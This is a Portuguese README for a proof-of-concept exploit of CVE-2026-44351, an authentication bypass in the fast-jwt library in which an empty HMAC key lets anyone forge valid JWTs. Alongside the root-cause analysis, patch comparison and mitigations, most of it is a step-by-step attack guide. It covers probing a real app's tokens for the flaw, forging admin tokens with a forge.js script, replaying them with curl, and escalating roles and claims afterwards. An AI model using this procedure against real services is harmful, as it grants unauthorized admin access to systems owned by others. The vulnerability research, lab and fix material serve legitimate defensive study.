Proof-of-concept para CVE-2026-44351, um bypass de autenticação no fast-jwt <6.2.4 onde uma chave HMAC vazia permite que atacantes forjem JWTs arbitrários aceitos como válidos.
| CVE | CVE-2026-44351 |
| Advisory | GHSA-gmvf-9v4p-v8jc |
| CWE | CWE-1391 (Validação incorreta de chaves) / CWE-287 (Autenticação incorreta) / CWE-326 (Força de criptografia inadequada) |
| CVSS 3.1 | 9.1 CRITICAL — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N |
| Vulnerável | fast-jwt < 6.2.4 (verificado contra 6.2.3) |
| Patch | [email protected] — rejeita chaves HMAC vazias com FAST_JWT_INVALID_KEY |
📄 Documentação técnica detalhada (root cause com código real, anatomia do ataque, análise do patch):
docs/CVE-2026-44351.md
fast-jwt permite passar uma função assíncrona como resolução de chave (key) — o
padrão típico quando se integra com um servidor JWKS:
const verify = createVerifier({
// patron JWKS estandar documentado por la propia libreria
key: async (decoded) => jwks[decoded.header.kid] || '',
})
Quando o kid do token recebido não existe, esse padrão retorna ''. fast-jwt
converte a string vazia em um Buffer de comprimento zero (Buffer.alloc(0)), entrega
a crypto.createSecretKey (o Node aceita silenciosamente) e verifica a assinatura do token
usando HMAC com chave vazia.
Como HMAC-SHA256(key='', input='<header>.<payload>') é computável por qualquer um, o
atacante não precisa conhecer o segredo real: forja um token com os claims que quiser
(sub, admin, roles, scopes, iss, aud, …) e o verificador o retorna como
autêntico.
Afeta apenas a rota de resolução de chave assíncrona (função). A configuração síncrona
key: ''é rejeitada corretamente porquecreateVerifierfaz curto-circuito sobre valores falsy.
A falha está em src/verifier.js. No fluxo do async key resolver:
getAsyncKey(key, { header, payload, signature }, (err, currentKey) => {
// ...
if (typeof currentKey === 'string') {
currentKey = Buffer.from(currentKey, 'utf-8') // '' -> Buffer.alloc(0)
}
const availableAlgorithms = detectPublicKeyAlgorithms(currentKey)
// rama !publicKeyPemMatch && !X509 -> hsAlgorithms = ['HS256','HS384','HS512']
if (validationContext.allowedAlgorithms.length) {
checkAreCompatibleAlgorithms(...)
} else {
validationContext.allowedAlgorithms = availableAlgorithms // se asigna la familia HMAC
}
currentKey = prepareKeyOrSecret(currentKey, /* isSecret */ true)
// -> createSecretKey(Buffer.alloc(0)) (sin control de longitud)
verifyToken(currentKey, decoded, validationContext)
})
E a assinatura é validada com src/crypto.js:
if (type === 'HS') {
try {
return timingSafeEqual(createHmac(alg, key).update(input).digest(), signature)
} catch { return false }
}
crypto.createHmac('sha256', Buffer.alloc(0)) funciona, o HMAC do input é computável
pelo atacante e o token forjado é aceito.
[email protected])| Resolver shape | algorithms | HS256 | HS384 | HS512 |
|---|---|---|---|---|
async () => '' | (default) | ✅ aceita | ✅ aceita | ✅ aceita |
(d, cb) => cb(null, '') | (default) | ✅ aceita | ✅ aceita | ✅ aceita |
async d => keys[d.header.kid] || '' | (default) | ✅ aceita | ✅ aceita | ✅ aceita |
async () => '' | ['HS256','HS384','HS512'] | ✅ aceita | ✅ aceita | ✅ aceita |
async () => '' | ['HS256','RS256'] | ✅ aceita | INVALID_ALG | INVALID_ALG |
async () => '' | ['RS256'] | INVALID_KEY | INVALID_KEY | INVALID_KEY |
O ataque é executado à mão: o único artefato é forge.js, que fabrica o JWT
assinado com chave vazia. O envio e a validação são feitos com curl.
docker compose up -d --build server
curl -s http://localhost:3000/health # {'status':'ok'} -> target listo
O Docker serve apenas para rodar o target vulnerável, não para explorar. O restante do ataque é manual.
Identifique um JWT real da app (por exemplo, a partir de uma requisição autenticada) e inspecione seu header/payload sem validar a assinatura:
node forge.js decode eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6...
# header : { "alg": "HS256", "typ": "JWT", "kid": "..." }
# payload : { "sub": "user", "iat": "...", "exp": "..." }
Pontos a validar:
kid → a app resolve chaves por kid (possível JWKS).kid quebrado com 401 mas não apresenta
invalid algo/invalid key, o resolver provavelmente faz keys[kid] || ''.node forge.js # token por pantalla + comando curl listo
node forge.js -o /tmp/jwt.txt # guarda el token en archivo
node forge.js --kid forged --sub root --admin true --exp 7200
node forge.js --alg HS384 --role superadmin
O script sempre assina o cabeçalho {alg, typ, kid} e o payload escolhidos usando
HMAC-SHA* com chave vazia (secret: ""), sem conhecer o segredo real da app.
Com o token copiado (ou lido do arquivo):
TOKEN=$(cat /tmp/jwt.txt)
curl -si http://localhost:3000/admin -H "Authorization: Bearer $TOKEN"
Resposta esperada se o alvo for vulnerável:
HTTP/1.1 200 OK
{"message":"Welcome to the admin panel.","sub":"attacker","allowed":true}
| Caso | Comando | Resultado |
|---|---|---|
| Sem token | curl -si http://localhost:3000/admin | 401 Unauthorized |
| Token inválido | curl -si http://localhost:3000/admin -H "Authorization: Bearer A.B.C" | 401 Unauthorized |
| Token forjado | curl -si http://localhost:3000/admin -H "Authorization: Bearer $TOKEN" | 200 OK + acesso admin |
O bypass é reproduzível alterando claims e repetindo os passos 2–3 (pós-exploração:
escalar para role, scopes, outro sub, etc.).
Comparação rápida entre a versão vulnerável e a corrigida:
npm run demo # [email protected] -> token forjado ACEPTADO
npm run fixed # [email protected] -> token forjado RECHAZADO (FAST_JWT_INVALID_KEY)
Também em Docker:
docker compose up -d demo fixed-demo
docker logs cve-2026-44351-demo
docker logs cve-2026-44351-fixed
[email protected] ou superior: prepareKeyOrSecret rejeita chaves HMAC
de comprimento zero com FAST_JWT_INVALID_KEY.''/Buffer.alloc(0) como fallback:
retornar undefined/null e tratar esse caso como erro de resolução de chave.cache: false
durante a transição: o cache de verificação (por padrão 1000 entradas / 600s TTL)
pode conservar tokens forjados previamente aceitos.O servidor expõe também um console de administração (public/) para que a
exploração seja vista sobre uma app real: login corporativo, dashboard com claims, painel de
acesso admin e uma visão Red Team integrada.
node server.js # o de nuevo: docker compose up -d --build server
open http://localhost:3000
Contas de demo:
| Password | Rol | |
|---|---|---|
[email protected] | admin123 | admin: true (superadmin) |
[email protected] | user123 | admin: false (member) |
A app replica um SaaS legítimo:
POST /login emite um JWT assinado com o segredo real (kid: legit-kid) via
createSigner — o signer NÃO é vulnerável.localStorage e acessa GET /admin, que usa o
verifier vulnerável.'' em JS puro, RFC 2104 — WebCrypto não aceita chaves de comprimento zero) ou
colar um token de node forge.js e testar /admin. Com admin: true responde
200 OK → bypass confirmado sem sair do navegador.O frontend é apenas apresentação: a vulnerabilidade continua a mesma (async key resolver com
keys[kid] || '') e o fluxo de ataque manual comforge.js+curldo README continua funcionando.
.
├── Dockerfile Imagen con fast-jwt 6.2.3 y 6.2.4 (fixed/)
├── docker-compose.yml Servicios server / demo / fixed-demo (sin exploit)
├── .dockerignore Excluye node_modules del build context
├── package.json Dependencias: [email protected] (vulnerable)
├── server.js API vulnerable (async key resolver con fallback || '') + /admin + /login + estáticos
├── forge.js UNICO script: fabrica el JWT con secret vacío / inspecciona tokens
├── demo.js Demo a nivel de librería contra [email protected] (vulnerable)
├── public/ Frontend "app real" (login, dashboard, admin, red team)
│ ├── index.html
│ ├── styles.css
│ └── app.js SPA + forja client-side (HMAC-SHA256 con key '' en JS puro)
├── docs/
│ └── CVE-2026-44351.md Documentación técnica: en qué consiste, root cause, parche
└── fixed/
├── package.json Dependencias: [email protected] (parcheada)
└── demo.js Misma demo contra [email protected] (parcheado)
Este material é apenas para fins educacionais e de pesquisa de segurança. Use o exploit somente contra aplicações próprias ou com autorização escrita do proprietário. O uso não autorizado desta técnica contra sistemas de terceiros é ilegal e o responsável por seu uso é quem o realiza.